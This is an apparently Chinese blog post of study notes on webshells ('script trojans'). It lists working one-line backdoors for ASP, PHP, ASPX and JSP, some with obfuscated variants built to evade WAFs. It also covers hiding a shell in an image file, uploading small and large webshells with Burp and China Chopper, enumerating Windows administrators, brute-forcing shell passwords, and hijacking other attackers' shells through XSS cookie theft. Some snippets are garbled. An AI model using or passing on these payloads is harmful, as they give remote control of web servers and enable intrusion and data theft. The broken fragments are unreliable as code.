脚本木马学习

一句话木啊基础

短,小,强,隐蔽好,powerful,2333333,基于B/S

<%execute request("value")%>

execute是参数

eval是来执行参数的

对于网站来说,要对用上马即支持的运行环境,(iis支持asp、aspx、php),asp无权调用cmd,aspx有

asp一句话

<%eval request("c")%>
一般用都是request的值=命令

php一句话

<>php
@eval($_POST[value]);?>

aspx一句话

<%@
Page Language="jscrit"%>
或者
<%@
eval(Request.Item["value"])%>

jsp

<%
if(request.getParameter("f")!=null)(new java.io.FileOutputStream(application.getRealPath("\\")+request.getParameter("f"))).write(request.getParameter("t").getBytes());
%>

变形

双重的request的使用

<?php
$_REQUEST['dd']($_REQUEST['chneyouxiu']);?>

对于两个参数,执行可以?a=eval然后就又变成了原本的一句话,可以过掉一些早些年的waf

也可以连菜刀

也可以通过eval来构造查看代码

?a=eval&chenyouxiu=phpinfo();

减少闭合情况的

<eval(Request(chr(112)))%>
没有单引号,双引号,防止转义在一些情况下

request用chr并且加上自己的value

<%eval (eval(chr(114)+chr(101)+chr(117)+。。。。。。)("chenyouxiu"))%>
这是asp的

php拼接用点,asp用加号

一句话木马的制作

基本的

通过c32进行在左面上传各种一句话,为了防止网站只运行一种,最好都加

然后上传,bp截断,更改,文件都在相对路径下

还有用

cmd

copy /b 1.jpg+1.asp 2.jpg

还有

图片属性得版权内插

能支持aspx 百分之8/90支持asp

dos语句的使用

这是管理员权限
user query 
看有无管理员上线
net user
查看账户
net localgroup administrators
查看管理员权限
然后学习cacls更改权限

指定安装一些文件,也是管理员下

setp   绝对路径文件

小马

小马只能上传文件,但隐蔽性也好

假如小马为x.asp

然后输密码登录

脚本木马学习

然后穿大马

ps:asp下也是asp文件得马,不能错了

然后创一个新的asp文件

脚本木马学习

然后输入

脚本木马学习

获取权限...

但基本不行了,23333,版本老了

思路想法:上小马,然后指定目录再上大马,有点麻烦,还不如直接上大马...

但这样的一般都有后门...**************

这个xx.asp可以使用爆破bp(弱口令),也可以尝试进程丢失,爆出密码

?profile=a

大马

功能多,50k以上,还有的用还有后门....

执行能力强,但不加密会被报毒

一句话使用

asp

数据库是as格式得网站,在留言板,或发表文章添加一句话,或加到asp网页

最后还是把

<%execute request("value")%>

文件包含马

上传jpg图片,然后根据jpg得上传名字,因为过掉一些waf,在上传asp得引用,直接访问asp即可

 <!--#include file="a.jpg" -->

jsp

首先要开启tomcat服务,然后上传服务端代码,然后确定服务地址,打开,然后上传大马

然后用菜刀2014得custom

然后上传

然后菜刀...

模式为customize,然后编码为utf-8

webshell后门查询

通过k

firebug查看元素

查看发送地址...

看网络得发送请求包
也可wireshark

然后通过地址访问...

可以更改

审计可得

然后黑吃黑

xss获取cookie,然后进行对方登录后台查看,获取cookie

然后用小马哥强注

上一篇:2021/7/23 运行 eval_voc.py 问题解决


下一篇:定要过python二级 第二套